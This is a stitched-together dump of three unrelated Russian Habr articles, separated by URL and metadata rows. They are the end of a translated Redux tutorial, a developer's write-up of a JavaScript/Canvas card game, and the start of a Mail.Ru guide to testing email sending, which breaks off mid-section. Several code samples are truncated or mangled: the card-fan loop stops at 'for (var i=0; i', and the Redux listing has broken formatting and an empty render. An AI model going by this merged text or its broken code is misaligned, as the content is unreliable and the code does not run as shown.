Вы также можете заметить, что spread оператор позволяет нам манипулировать только теми состояниями, которое нам нужно изменить.
Redux не важно, как вы храните данные, так что можно использовать [Immutable.js](https://facebook.github.io/immutable-js/).
Теперь вы можете поиграть с хранилищем минуя интерфейс, путем вызова dispatch вручную в нашем App.js.
```
/* src/containers/App.js */
import { addFriend, deleteFriend, starFriend } from '../actions/FriendsActions';
store.dispatch(addFriend('Barack Obama'));
store.dispatch(deleteFriend(1));
store.dispatch(starFriend(4));
```
Вы увидите в devTools действия, с ними можно поиграть в реальном времени.
##### 3. Создаем интерфейс
Т.к. этот урок не об этом, я пропустил создание React-компонентов и сфокусировался только на Redax. Мы имеем три простых компонента:
* **FriendList** список друзей ``+ friends: array массив друзей`
**FriendListItem** элемент одного друга ``+ name: string имя друга
+ `starred: boolean` показывает звездочку, если друг отмечен, как избранный
+ `starFriend: function` вызов, который срабатывает, когда пользователь кликает на звездочки
+ `deleteFriend: function` вызов, который срабатывает, когда пользователь кликает на корзину`
**AddFriendInput** поле для ввода новых имён
+ `addFriend: function` вызов, срабатывающий при нажатии ввод
В Redux считается хорошей практикой делать по возможности большинство компонентов “глупыми”. Т.е. чем меньше компонентов связаны с Redux, тем лучше.
Здесь **FriendListApp** будет единственным “умным” компонентом.
```
import { bindActionCreators } from 'redux';
import { connect } from 'react-redux';
import * as FriendsActions from '../actions/FriendsActions';
import { FriendList, AddFriendInput } from '../components';
@connect(state => ({
friendlist: state.friendlist
}))
export default class FriendListApp extends Component {
```
Это часть нового синтаксиса ES7, называемая декоратор. Это удобный способ вызова функции высшего порядка. Будет эквивалентна `connect(select)(FriendListApp);` где `select` — функция, которая возвращает то, что мы здесь сделали.
```
static propTypes = {
friendsById: PropTypes.object.isRequired,
dispatch: PropTypes.func.isRequired
}
render () {
const { friendlist: { friendsById }, dispatch } = this.props;
const actions = bindActionCreators(FriendsActions, dispatch);
return (
The FriendList
==============
);
}
}
```
Мы используем `bindActionCreators`, чтобы обернуть наши генераторы действий вызовом dispatch. Цель — передать генераторы действий другим нашим компонентам без предоставления dispatch объекта (сохраняя их глупыми).
То, что случится дальше — стандартный подход для React. Мы привяжем функции к onClick, onChange или onKeyDown свойствам, чтобы обработать действия пользователя.
Если вы заинтересовались, как это сделать, ты можете посмотреть [весь код](https://github.com/jchapron/redux-friendlist-demo/blob/v1.0/src/components/AddFriendInput.js).
Сейчас вы можете почувствовать магию работы redux/react приложения. Как изображено на GIF, вы логгируете все действия.
Разрабатывать удобней, когда ты можешь производить какие-то действия, находить баги, возвращаться, исправлять их и повторять уже исправленную последовательность…
Перевод.
Оригинал статьи <http://www.jchapron.com/2015/08/14/getting-started-with-redux/>.`` | https://habr.com/ru/post/269831/ | null | ru | null |
# Карточная игра на JavaScript и Canvas, или персональный Лас-Вегас. Часть 1
Однажды на досуге я придумал карточную игру и, недолго думая, создал ее электронную версию. А потом добавил еще четыре игры, включая покер Техасский Холдем. А чтобы было еще интереснее, я встроил некое подобие прогресса: выигрываешь в одной игре – открывается новая. Запланировал я разместить свою игру в двух социальных сетях и в магазине Windows Store как html5-js приложение. А также, возможно, создать еще сборки под Android и iOs. Можно играть чрез сервер с другими людьми, а можно – офф-лайн с ИИ.
Для работы я, как всегда, не использовал никакие сторонние движки и библиотеки, даже jQuery мне не понадобилось. Только функции ванильного JavaScript, включая средства работы с холстом (canvas). Холст в игре – основа для вывода всей игровой графики. В WebGL, на этот раз, не было необходимости, поэтому зоопарк поддерживаемых браузеров расширился. Средой программирования, как обычно, стал продвинутый блокнот. Игра получилась объемом 3,8 Мб, из которых 3 Мб — это семь карт спрайтов в формате png. Запускается игра по html-файлу. Сервер на PHP. В случае выбора однопользовательской игры (то есть, с ИИ), запросы к серверу не отправляются и все расчеты ведутся на клиенте. Диздок не писал – он не нужен хипстерам.
Далее – занимательная геометрия и программирование, а во второй части будет рассказ о размещении игры в социальных сетях и в магазине.
### GUI
Написание кода графической части не отняло у меня слишком много времени, так как для своих предыдущих игр я уже разработал движок меню на JavaScript на теге canvas с подгрузкой спрайтов из форматов jpg и png, или, иначе говоря, GUI. Достаточно было лишь взять тот код и определить в качестве экранных кнопок при помощи ассоциативного массива все активные области, то есть, карты и кнопки меню. Ну и еще набросать сами спрайты, то есть, создать дизайн. Основное время ушло, собственно, на описание игровой логики всех пяти игр. И чуть позже – на создание многопользовательской версии под две социальные сети и магазин Windows.
Впрочем, я немного слукавил насчет того, что мое canvas-меню так уж прямо полностью готово. Его нельзя просто так взять и… В общем, оно (говнокод) далеко от совершенства и весьма ограничено в своих возможностях. Но главное, мне захотелось, чтобы карты не лежали скучной прямой линией, а выкладывались бы веселым веером, независимо от их количества. Однако, мое меню не поддерживало поворот «кнопок». Поэтому настало время запрограммировать это безобразие раз и навсегда. Для начала.
### Добро пожаловать в Вегас
Я решил, что изгиб будет задаваться неким параметром d, который обозначает, насколько центр линии карт выдвигается вверх.
Итак, дано: количество карт (n), ширина прямоугольника (w), ограниченного центрами крайних, скучных, «неизогнутых» карт, и смещение середины линейки карт вверх (d), придающее им веселья. Требуется найти точки центров и углы поворота каждой карты так, чтобы получился веер, как на картинке. Сложно сказать, насколько хорош мой метод, но это то, что мне удалось вспомнить из геометрии. Писать будем на JavaScript.
```
var L=0, h=0, dx=0, hx=0, hy=0;
//Находим неизвестные стороны треугольника (1..3..n), вокруг которого будет описана окружность
//Обозначим переменной a равные стороны 1..3 и 3..n
var a = Math.sqrt ( d*d+(w*w/4) );
//Найдем радиус R описанной окружности по формуле
var p = 0.5*(a+w+a);
var R = a*w*a / ( 4*Math.sqrt( p*(p-a)*(p-w)*(p-a) ) );
//Угол L0 для отклонения первой и последней карт от горизонтальной оси будет равен
var L0 = Math.asin( 1 - (d/R) );
//Угол dL, на который будут отступать карты друг от друга по окружности
var dL = ( Math.PI-(2*L0) ) / (n-1);
//Переберем в цикле все карты
for (var i=0; i
```
Вегас уже где-то близко.
Код для отображения всех спрайтов на холсте по сформированному массиву точек и углов тривиален и использует только стандартные функции работы с canvas. Схема простая: нужно сохранить состояние canvas, переместиться туда, где будет находиться центр спрайта, повернуть canvas на требуемый угол, отобразить спрайт, а затем восстановить состояние canvas. Кстати, половинную ширину (w2) и высоту (h2) спрайта не обязательно вычислять каждый раз, их можно предопределить. В общем, примерно так:
```
var w2 = Math.floor(spriteW/2), h2 = Math.floor(spriteH/2);
var x = spriteX+w2, y = spriteY+h2;
ctx.save();
ctx.translate(x, y);
ctx.rotate(spriteL - Math.PI/2);
ctx.drawImage(spriteMapImage, spriteMapX, spriteMapY, spriteW, spriteH, -w2, -h2, spriteW, spriteH);
ctx.restore();
```
Ура! Теперь карты вкладываются веером, ну прямо, как в Вегасе – в кино видел. Недостаток или, точнее, недоработка пока заключается в том, что, хотя спрайты карт-кнопок теперь и располагаются под углом, но кликабельные области все равно остаются не повернутыми, пусть даже при этом правильно смещенными. То есть, у них cо спрайтами совпадают только центры. Однако, для данной игры этого вполне достаточно. Угол отклонения карт будет довольно мал, и вряд ли случайно кликнешь по соседней карте. Здесь, если и будут подобные круги из карт, как на этой картинке, то не кликабельные, а просто для эффекта. Для карт игроков будут изгибы гораздо меньше.
Всегда есть, к чему стремиться. Можно в обработчике указателя мыши для проверки вхождения в область клика считать синусы и косинусы, чтобы точнее позиционироваться по наклоненной кнопке. Либо можно поворачивать canvas при движении мыши. Но все это будет, как мне показалось, сильно и необоснованно нагружать процессор. Ведь, нужно будет при каждом движении мыши перебирать синусы-косинусы всех «экранных кнопок», чтобы определять вхождение указателя в какую-либо область клика. Можно, конечно, отрабатывать углы только при событии клика, но тогда не будет такого красивого изменения вида указателя при вхождении и выходе из кликабельной области. Я еще подумаю над тем, как можно решить данную задачу. А пока двигаемся дальше.
### AI
Прочитав данный подзаголовок, можно было подумать, что вот он, наконец-то, изобретен искусственный интеллект. Свершилось то, к чему так долго стремились все светлые умы цивилизации. Однако, разочарую. В данном случае под пафосной аббревиатурой AI скрывается обычный генератор случайных чисел. Ладно, шучу, не совсем обычный. Минимальная логика у нашего игрового ИИ (Иван Иваныча) все же есть. Иван Иваныч – серьезный мужик. Логика будет еще дополняться, но даже сейчас Иван Иваныч частенько обыгрывает меня, например, в мою же игру, наглец. В покер так я вообще почти всегда проигрываю. Но, возможно, я не умею в него играть. А вы говорите, искусственного интеллекта не существует. Нет, он явно что-то замышляет… Я опасаюсь, как бы случайно не создать Sky-Net.
### Анимация карт
Сделаем из игры конфетку. Без анимации карт все работает как-то резко и некрасиво. Добавим еще один графический слой (читай – прозрачный холст, canvas) поверх основного и будем на нем устраивать «заезды» карт между колодой и столом, столом и игроками, колодой и игроками. С вращением, песнями и плясками. Карта, которую требуется анимировать, будет просто выноситься на внешний холст и там уже беспрепятственно двигаться, не опасаясь оказаться слоном в посудной лавке, чтобы случайно не стереть собой соседей и фон. А в конце пути она будет падать обратно на нижний холст и далее вести себя прилично. Анимацию можно и отключить через игровое меню, если она не нужна. Обработчики кликов, кстати, повесим сразу на внешний холст.
Движение карты по холсту будем задавать следующими входными параметрами: скоростью V и точками, начальной (X0;Y0) и конечной (X,Y). При движении будем отрисовывать спрайт в позиции, в которой он должен оказаться по истечении времени ti, прошедшего с момента начала движения. И предварительно, конечно же, стирать спрайт со старой позиции. Вызывать следующую отрисовку будем сразу после того, как завершится предыдущая. Таким образом, обеспечим настолько плавное движение, насколько это позволит устройство, на котором будет выполняться код. А привязка ко времени сделает движение в целом равномерным, независимо от возможных кратковременных тормозов браузера. Принцип расчета такой:
В начале функции вызова движения определим некоторые параметры для движения
```
//Запомним начальное время
var t0 = Date.now() / 100;
//Полные перемещения по горизонтальной и вертикальной осям
var Sx = X - X0;
var Sy = Y - Y0;
//Общее расстояние находим по формуле
var S = Math.sqrt (Sx*Sx + Sy*Sy);
//Время, прошедшее с момента начала движения (ti), относится к общему времени движения (t), как относятся соответствующие расстояния по оси, например, x, то есть, ti / t = dxi / Sx. Из этого следует, что приращение координаты для горизонтальной оси dxi = Sx * ti / t, или dxi = Sx * ti * V / S. Скорость задается как параметр движения, а расстояния мы уже вычислили. Аналогично – для вертикальной оси.
//Выведем для этой анимации некие константы-коэффициенты, которые следуют из формулы выше и которые будут использоваться для расчета горизонтальной и вертикальной координат в цикле, чтобы не вычислять эти значения при каждой итерации. То есть, пока возьмем без времени ti
var constX = V * Sx / S;
var constY = V * Sy / S;
```
А в цикле движения будем каждый раз рассчитывать координаты уже по времени
```
//Время, прошедшее с начала движения, равно
var ti = Date.now()/100 - t0;
//Текущие координаты (Xi;Yi) в зависимости от этого времени
var Xi = constX * ti + X0;
var Yi = constY * ti + Y0;
```
И, наконец, эти координаты будем проверять на принадлежность к отрезку движения. То есть, Xi должно лежать между X0 и X, а Yi – между Y0 и Y. Пока выполняется данное условие, отрисовываем спрайт в (Xi;Yi) и зацикливаем функцию движения. Далее код, думаю, понятен, и нет смысла его подробно расписывать. Весь принцип я объяснил.
Теперь касательно угла поворота спрайта (ai). Если заданные в качестве входных параметров начальный угол (a0) и конечный угол (a) различаются, то в функции движения вычисляем текущий угол ai следующим образом. Приращение угла, то есть, (ai) относится к приращению пути, например, по горизонтальной оси ( которое у нас равно (Xi — X0) ), как общий угол поворота (a — a0) относится к общему пути по горизонтальной оси (Sx), то есть:
ai / (Xi — X0) = (a-a0) / Sx
```
//И туда, где мы рассчитываем текущие координаты спрайта в цикле, добавим также расчет также текущего угла поворота, не забывая прибавить начальный угол (a).
var ai = (a-a0) * Math.abs (Xi - X0) / Math.abs(Sx) + a;
//Можно вынести за скобки цикла постоянную величину (a-a0) / Math.abs(Sx);
```
Отрисовываем спрайт стандартным drawImage с предварительным поворотом холста при помощи стандартных же функций JS translate и rotate, здесь, думаю, все понятно.
Да, этот алгоритм не учитывает некоторые частные случаи. Когда, например, расстояние равно 0, то возникает ошибка деления на 0. Но мы не будем задавать картам нулевое движение, зачем бы нам это? Поэтому и делать проверку на такие крайности в данном случае излишне.
### Игры
Игры в комплекте следующие. «Три мешка» — моя авторская игра. «Подкидной дурак», «Покер Техасский Холдем». Это те, что открыты изначально. Теперь закрытые: «Чешский дурак» и «Три палки». Открываются они, если выиграть достаточное количество монет: для открытия первой закрытой игры у игрока должно быть 700 монет, второй – 900 монет. Изначально игроку дается 650 монет. Если же проигрывать, то игры, наоборот, будут закрываться вплоть до самой первой. Монеты можно выиграть у других игроков в открытых играх или приобрести. В однопользовательской версии монеты убраны совсем, а доступны только три игры из пяти.
#### Отдельно про покер
Я раньше никогда не играл в покер, но слышал, что это популярная игра и по ней даже проводят мировые турниры. Я посмотрел один такой, а также пару фильмов про карточных шулеров. Как когда я делал «Морской бой», я смотрел сериал про пиратов. Новичку сложно запомнить все покерные комбинации, а тем более, по ходу игры сразу представлять все возможные варианты. Поэтому я добавил экран, который можно вызвать во время своего хода и посмотреть все возможные на данный момент для себя комбинации. И уже в зависимости от этого сделать тот или иной ход. Этот алгоритм использует и Иван Иваныч (Искусственный Интеллект) для оценки своих шансов, поэтому писать данную функцию в любом случае пришлось бы. Вот, как в итоге это выглядит. Яркие карты – это те, которые есть на столе и на руках. Затемненные – это те, которых пока нет, но они еще могут прийти из колоды. А, если все 5 карт перевернуты, то данная комбинация уже невозможна ни при каких условиях. Зеленой точкой помечаются собранные комбинации: чем ближе к номеру один, тем, соответственно, лучше.
Для покера я просто, ради прикола, также предусмотрел такой вариант, когда в игре участвует только ИИ, без людей. Получилось что-то вроде экранной заставки, где компьютер сам с собой бесконечно играет в покер.
### Дизайн
Дизайн – это не моя стихия. В процессе создания игры он, как обычно, много раз переделывался и корректировался. В итоге, к моменту релиза игры я остановился на внезапно пришедшем мне в голову кабацком черно-красном варианте с расположением главного меню на мастях. Я долго думал, какой из двух видов оставить, а потом решил, что пусть будут оба с переключением между ними.
### Английский язык
Опыт локализации предыдущих игр подсказывал мне, насколько муторно потом выдергивать из скриптов все кириллические строки и заменять их ссылками. Поэтому я добавлял их в языковой файл прямо по ходу, а в скрипты основной программы вставлял сразу ссылки (с комментариями). Cначала я заполнял только русскоязычный файл, а затем сделал копию и перевел его на английский. Языковой файл подключается динамически, в зависимости от выбранного языка, и представляет собой массив строк с определенным именем. Как обычно, простой скрипт:
```
var el=document.createElement("script"); el.type="text/javascript";
el.src="lng/lng_"+lng+".js"; el.async=true;
document.getElementsByTagName("head")[0].appendChild(el);
```
Здесь переменная lng ранее читается из параметров командной строки. Функция применения языка запускается по готовности html-документа. А во всех функциях, где присутствуют текстовые строки, уже заданы ссылки на элементы массива языкового файла с фразами. В верстке самой html-страницы никаких фраз нет, ведь, по сути, документ представляет собой просто два канваса (canvas), наложенные один на другой, да пустой блочный элемент для вывода правил игры. Правила также располагаются в «языковом» файле.
Те фразы, которые были «захардкорены» в изображениях – например, подписи на кнопках, вынесены в отдельные изображения в формате png, соответственно, для русского и английского языков. А фоны – например, сам игровой стол, подложи для меню и прочие спрайты без надписей, располагаются в общем файле.
Вот пример русскоязычной локализации и общего для русского и английского языков фона (в уменьшенном виде):
*«Русскоязычная» карта спрайтов*
*Общая карта спрайтов (фонов) для всех языков*
Подложки для главного меню слишком большие, поэтому они располагаются еще в одном, дополнительном файле. Они также общие для всех языков, а «кнопки» для них уже включены в обе «языковые» карты.
### Звуки
Звуки для игры были частично сгенерированы при помощи программы-синтезатора, частично взяты из бесплатных ассетов и подключены тегом audio. Здесь рассказывать особо не о чем. Был только один неприятный момент, связанный с тем, что если не закончилось воспроизведение текущего звука, то новый звук пропускается и не воспроизводится совсем. Поэтому пришлось сокращать звуки, чтобы они не «перекрывали» друг друга в некоторых ситуациях.
### Промежуточный итог
В следующей статье расскажу об опыте размещения универсального Windows-приложения в магазине Windows Store, о создании классического (десктопного) приложения под Windows из html-js файлов, а также о многопользовательской версии для социальных сетей ВКонтакте и Фейсбук. На данный момент игра доступна пока только в Windows Store в виде однопользовательского UWP-приложения x86 и x64 под Windows 8.1 – 10. Планирую также сделать сборки под Android и iOs. А также, возможно, выложить просто zip-архив для запуска однопользовательской версии игры по index.html для всех операционных систем.
Вообще, архив с html-js файлами мне кажется самым оптимальным вариантом для распространения подобных приложений, так как нет необходимости что-то собирать при помощи «тяжелых» средств разработки, нет необходимости создавать инсталлятор, нет необходимости включать в сборку какие-либо библиотеки, html можно открыть в любой ОС при помощи любого бразузера на выбор и использовать тот, в каком приложение будет работать лучше всего. Жаль, что магазины приложений не позволяют распространять приложения таким способом, а операционные системы не устанавливают и не создают ярлыки для html, как, например, это делают с исполняемыми файлами. Разве что, Windows 8.1 – 10 как-то движется в этом направлении, собранный пакет для магазина Windows Store занимает всего 4,4 Мб. Производители браузеров могли бы тоже повернуться лицом к html-js приложениям и предусмотреть какой-нибудь режим запуска без показа интерфейса браузера, как это делается, например, в node-webkit, когда используется браузерный движок. Тогда бы не пришлось, например, в сборку «классического» приложения включать движок и «тащить» этот движок с каждым таким приложением. Ведь, потенциал у веб-приложений есть: доступна 3D графика WebGL, байт-код и скоро, возможно, браузерный код еще больше приблизится по скорости к нативному. Но обо всем этом – в следующей части. А пока я пишу сервер. | https://habr.com/ru/post/320080/ | null | ru | null |
# Как делать email-рассылки и не косячить: практические советы
У разработчика, который впервые столкнулся с генерированием электронных писем, практически нет шансов написать приложение, которое будет делать это корректно. Около 40 % писем, генерируемых корпоративными приложениями, имеют те или иные нарушения стандартов, и, как следствие, проблемы с доставкой и отображением. На это есть причины: электронная почта технически гораздо сложнее, чем веб, работа почты регулируется несколькими сотнями стандартов и несчетным количеством общепринятых (и не очень) практик, а почтовые клиенты отличаются разнообразием и непредсказуемостью. Тестирование может заметно улучшить ситуацию, но материалов, посвященных тестированию почты, практически нет.
Почта Mail.Ru регулярно взаимодействует со своими пользователями посредством электронных писем. В нашем проекте все компоненты, отвечающие за генерирование писем, и даже единичные рассылки проходят обязательное тестирование. В этой статье мы поделимся своим опытом (и набитыми шишками).
* [Какие бывают электронные письма](https://habr.com/company/mailru/blog/419591/#1)
* [Кто участвует в процессе тестирования и контроля](https://habr.com/company/mailru/blog/419591/#2)
* [Почтовое сообщение и почтовый транспорт](https://habr.com/company/mailru/blog/419591/#3)
* [Интерфейс почтовой инфраструктуры и границы тестируемого приложения](https://habr.com/company/mailru/blog/419591/#4)
* [Определение тестируемых параметров](https://habr.com/company/mailru/blog/419591/#5)
* [Типичная структура генерирующего приложения](https://habr.com/company/mailru/blog/419591/#6)
* [Что и когда тестировать](https://habr.com/company/mailru/blog/419591/#7)
1. [Инфраструктура доставки](https://habr.com/company/mailru/blog/419591/#8)
2. [Генерирующее приложение](https://habr.com/company/mailru/blog/419591/#9)
3. [Структурный и вёрсточный шаблоны письма](https://habr.com/company/mailru/blog/419591/#10)
* [Базовые требования при проверке инфраструктуры](https://habr.com/company/mailru/blog/419591/#11)
* [Требования к авторизации](https://habr.com/company/mailru/blog/419591/#12)
* [Проверка генерирующего приложения](https://habr.com/company/mailru/blog/419591/#13)
+ [Требования к почтовым адресам](https://habr.com/company/mailru/blog/419591/#14)
+ [Требования к заголовкам писем](https://habr.com/company/mailru/blog/419591/#15)
+ [Требования к структуре письма](https://habr.com/company/mailru/blog/419591/#16)
+ [Требования к URI](https://habr.com/company/mailru/blog/419591/#17)
+ [Требования к вёрстке письма](https://habr.com/company/mailru/blog/419591/#18)
* [Проведение сплит-тестов](https://habr.com/company/mailru/blog/419591/#19)
Какие бывают электронные письма
-------------------------------
Приложение может генерировать различные виды писем. Их можно классифицировать по нескольким категориям. По способу выбора получателей: триггерные — выборочные — групповые. По назначению: транзакционные — маркетинговые — служебные. К разным типам писем можно предъявлять разные требования и применять разные сценарии тестирования.
Триггерные письма генерируются в ответ на какие-либо события, например, действия пользователя или изменения статуса каких-либо системных объектов. Они генерируются приложением, а потому наиболее интересны в плане тестирования. Триггерные письма могут быть как транзакционными, так и маркетинговыми.
Выборочные письма отправляются в динамическую выборку пользователей, соответствующих каким-либо критериям.
Групповые письма отправляются известной группе получателей, например, всем пользователям или партнерам. Выборочные и групповые письма чаще всего являются маркетинговыми, отправка таких писем инициируется вручную или по расписанию.
Транзакционные письма генерируются в процессе совершения пользователем какого-либо действия. К таким письмам относятся, например, счета, билеты или уведомления о статусе доставки, письма с кодом восстановления доступа и т.д. Транзакционные письма всегда являются триггерными. Для них важна максимальная совместимость, значит, они должны быть максимально просты, а тестировать их необходимо на большом количестве клиентов.
Маркетинговые письма побуждают пользователя совершить какие-либо действия, например, это может быть предложение индивидуальной скидки исходя из предыдущих покупок. В этих письмах могут использоваться транзакционные данные, они могут быть как триггерными, так и массовыми — периодическими или разовыми. Для данных писем важнее эффективность, обычно она определяется результатами сплит-теста. Некоторыми аспектами совместимости можно пожертвовать ради эффективности.
Групповые маркетинговые письма, например, сообщения о сезонных предложениях, акциях и распродажах, часто рассылаются «вручную» и не являются частью вашего приложения, но к ним также можно (и нужно) применять общие принципы тестирования.
Кроме того, могут быть служебные письма, генерируемые для сотрудников, для автоматических или автоматизированных систем CRM, журналирования, аудита или DWH. Такие письма являются триггерными, а это значит, что они также являются частью приложения и должны проходить тестирование.
Кто участвует в процессе тестирования и контроля
------------------------------------------------
1. QA-инженер — участвует на всех стадиях процесса.
2. Сетевой инженер — отвечает за конфигурацию сетевой инфраструктуры и инфраструктуры доставки сообщений. Сетевого инженера следует привлекать при планировании тестирования инфраструктуры.
3. Deliverability-специалист — это человек, следящий за доставляемостью писем, который также участвует в контроле технических и административных параметров всех отправляемых сообщений и следит за ходом процесса рассылки. Он отвечает за то, чтобы отправленные письма дошли до максимально возможного процента пользователей и не попали в спам, а для этого специалист должен обладать определенными знаниями и контактами. При возникновении проблем с доставкой писем именно он должен понять вероятную причину и устранить её: либо устранив технические препятствия; либо что-то поменяв в содержимом писем; либо решив проблему вместе со службой поддержки почтового провайдера, до которого не доходят письма. Такого специалиста (если он есть) также следует привлекать к составлению чеклиста и тестированию инфраструктуры, генерирующего приложения и писем. Однако сам процесс тестирования должен быть под контролем службы QA.
4. Email-маркетолог — определяет эффективность маркетинговых рассылок. Под его контролем проходят необходимые для маркетинговых рассылок сплит-тестирования на аудитории. Email-маркетолог также контролирует сегментирование пользовательской базы, состав и частоту отправляемых писем, визуальное «представление» письма для пользователя.
Все эти роли не обязательно выполняет отдельно выделенный сотрудник: роль маркетолога может выполнять кто-то из продуктовых менеджеров, а роль deliverability-специалиста — например, сотрудник поддержки или сетевой инженер. А в стартапах с высокой долей вероятности всем этим придется заниматься одному человеку, и им может оказаться специалист по качеству.
Почтовое сообщение и почтовый транспорт
---------------------------------------
Структура почты похожа на огромный айсберг, и в ней есть два уровня. Существует более сотни различных стандартов, регулирующих почту, но практически все они относятся к одному из этих двух уровней:
**Подводная часть айсберга** — это сетевая служба, базовым протоколом которой является прикладной протокол SMTP, определяемый RFC 5321. Он отвечает за доставку писем. Для доставки письма формируется так называемый SMTP-конверт, в который включаются адреса отправителя и получателя уровня SMTP. Также за доставку письма отвечают другие сетевые службы, такие как DNS. Основным компонентом сетевой инфраструктуры является Агент Передачи Сообщений (Mail Transfer Agent, или чаще используется аббревиатура MTA). MTA отвечает за работу с очередью доставки сообщений и сам процесс доставки на серверы получателей. Примеры MTA — Postfix, Sendmail, exim, служба Microsoft SMTP.
Эту подводную часть айсберга, к которой относятся MTA, параметры DNS и прочие сетевые параметры, мы будем называть почтовой инфраструктурой, или инфраструктурой доставки сообщений.
**Надводная часть айсберга** — это само письмо. Базовая структура письма определяется стандартом RFC 5322. Письмо состоит из служебных заголовков и одной или нескольких частей с данными. В данных может быть текст письма в формате plain text и/или HTML, инлайновые изображения или вложения практически любого типа.
Интерфейс почтовой инфраструктуры и границы тестируемого приложения
-------------------------------------------------------------------
У почтовой инфраструктуры, как правило, есть один или несколько интерфейсов, с помощью которых отправляется письмо (попадает в очередь доставки MTA). Например, сервис SMTP Submission, функция `mail()` в PHP, передача данных во внешнее приложение mail или sendmail, API внутренних или внешних сервисов (к примеру, GetResponse, SendPulse или Amazon SES). Мы будем считать эти интерфейсы частью инфраструктуры. Достаточно часто бывает ситуация, когда приложение A подготавливает данные для письма и список получателей, а затем передает их в приложение B через его API (для маркетинговых массовых рассылок это может производиться вручную через пользовательский интерфейс — UI), а уже приложение B генерирует почтовое сообщение в формате RFC 5322 и каким-либо образом ставит его в очередь доставки MTA. С точки зрения приложения A (и при его тестировании), приложение B будет частью почтовой инфраструктуры. API или UI приложения B будет для приложения A интерфейсом почтовой инфраструктуры. Хотя с точки зрения приложения B ситуация будет иной, и почтовой инфраструктурой для него будут более низкоуровневые сетевые приложения или протоколы.
Определение тестируемых параметров
----------------------------------
При тестировании каждого приложения важно выделить все используемые им почтовые инфраструктуры (их может быть несколько), и для каждой инфраструктуры выделить используемые интерфейсы (их тоже может быть несколько для каждой инфраструктуры). Для каждого интерфейса как можно точнее определяется состав и формат передаваемых в него данных, например: текст письма в TEXT/HTML, текст письма в TEXT/PLAIN, тема письма, имя получателя, адрес получателя, имя отправителя, адрес отправителя письма (RFC5321.From), адрес отправителя SMTP-конвера (RFC5322.mailfrom). Далее разрабатывается набор требований для каждого параметра (представления, кодировки, граничные значения и т.д.), определяются методы контроля каждого из параметров (каким способом можно сравнить фактический результат с ожидаемым).
Типичная структура генерирующего приложения
-------------------------------------------
За генерирование письма и данных в нем, как правило, отвечает тот самый продукт, который мы тестируем. Обычно это серверное (но иногда клиентское) приложение. Оно определяет структуру письма, часть служебных заголовков, форматы инкапсуляции данных, представления строк и кодировки текста. Простым примером такого приложения может послужить скрипт, который формирует письмо и вызывает функцию `mail()`.
Основные элементы приложения, которые необходимо контролировать:
* код, отвечающий за генерирование заголовков и/или структуры письма, если структура письма генерируется динамически, и/или статический шаблон письма, описывающий его структуру;
* верстку HTML-части письма (в идеале, это отдельная сущность или часть шаблона/макета письма, но может быть зашита в код приложения);
* подстановку данных приложения в письмо (или в шаблон письма);
* интеграцию приложения с инфраструктурой доставки письма, корректность параметров, передаваемых в интерфейс инфраструктуры.
Что и когда тестировать
-----------------------
Хотим мы этого или нет, но айсберг надо тестировать весь. Можно выделить несколько основных компонентов, требующих тестирования:
#### 1. Инфраструктура доставки
Упор в тестировании следует делать на: доставляемость письма; корректность DNS-записей, включая PTR/FCrDNS, MX- и A-записи; параметры SMTP-протокола (HELO, использование TLS); авторизацию письма (SPF/DKIM/DMARC); адреса SMTP-конверта (если они не управляются приложением); корректность обработки входных параметров интерфейса инфраструктуры; отслеживание, учет и обработку не доставленных писем.
Надо тестировать инфраструктуру при начальном внедрении и каждый раз, когда вносятся изменения в саму инфраструктуру (меняется конфигурация MTA, DNS или сети) или интерфейс отправки письма; используется новый домен, сеть или API; существенно меняются характеристики отправляемых писем, такие как их язык, размер или количество. По опыту, инфраструктура имеет склонность меняться без объявления войны, поэтому базовые тесты следует проводить периодически, даже если нет информации о каких-либо изменениях.
К составлению плана и чек-листов тестирования инфраструктуры можно и нужно привлекать сетевого инженера и deliverability-специалиста.
#### 2. Генерирующее приложение
Следует контролировать адреса SMTP-конверта (если они управляются приложением, т.е. передаются в интерфейс — envelope-from, envelope-to), значения служебных заголовков письма (Date, Message-ID, List-Unsubscribe, Auto-Submitted и т.п.), авторизацию письма (DKIM/DMARC), MIME-кодировки (base64, quoted-printable), общую правильность формата письма, например отсутствие не-ASCII символов в заголовках, состав подставляемых данных, корректность срабатывания триггеров, механизмы отписки, механизмы трекинга письма и сбора статистики (postmaster-заголовки, например, Feedback-ID или X-Mailru-Msgtype, а также трекинговые пиксели).
Тестировать приложение нужно при его разработке, при изменении всех его связанных компонентов, отвечающих за генерирование и хранение данных, при существенных изменениях шаблонов писем, при изменении используемой инфраструктуры или интерфейса к ней, а также в рамках общих регрессов.
#### 3. Структурный и вёрсточный шаблоны письма (могут быть частью генерирующего приложения или разрабатываются отдельно)
Проверяется структура письма (Content-Type, Content-Disposition, вложенность Multipart-частей письма, кодировки текста, строковые параметры), значение целевых и отображаемых заголовков (From, To, Reply-to, Subject), отображение письма в списке писем и при чтении в различных интерфейсах, микроформаты (например, что событие календаря распознается как событие календаря, или авиабилет как авиабилет), брендирование.
Шаблоны писем следует тестировать каждый раз при внесении хотя бы малейших изменений, а также отдельно, например, в ситуации, когда письма попадают в приложение до того, как готова серверная часть.
К составлению чек-листа по тестированию шаблона письма рекомендуется привлечь email-маркетолога и deliverability-специалиста.
Базовые требования при проверке инфраструктуры
----------------------------------------------
IP-адрес, выбранный для почтового сервера, должен быть максимально похож на IP-адрес почтового сервера. Рекомендуется проверить его с помощью утилиты whois. В частности, адрес отправителя не должен принадлежать сети, которая может восприниматься как динамическая; у выбранной сети должны быть действующие контакты, на которые можно отправлять жалобы; сеть обязательно должна быть используемой (иметь статус ASSIGNED в RIPE). IP-адрес должен иметь корректно настроенную PTR-запись. Ее можно настроить самостоятельно через панель управления хостингом, либо с помощью службы поддержки провайдера. PTR-запись должна указывать на реальное имя хоста и при этом быть содержательной, разрешаться обратно в тот же самый IP-адрес (т.н. проверка FCrDNS), не напоминать имя динамического хоста и не включать в себя большую группу цифр или символов. Хороший пример — mailserver.example.com.
У каждого домена, используемого в адресах конверта или заголовках письма, должна быть валидная MX-запись, указывающая на A-запись хоста, который, как минимум, может обрабатывать сообщения о невозможности доставки. Для MX недопустимо напрямую ссылаться на IP-адрес.
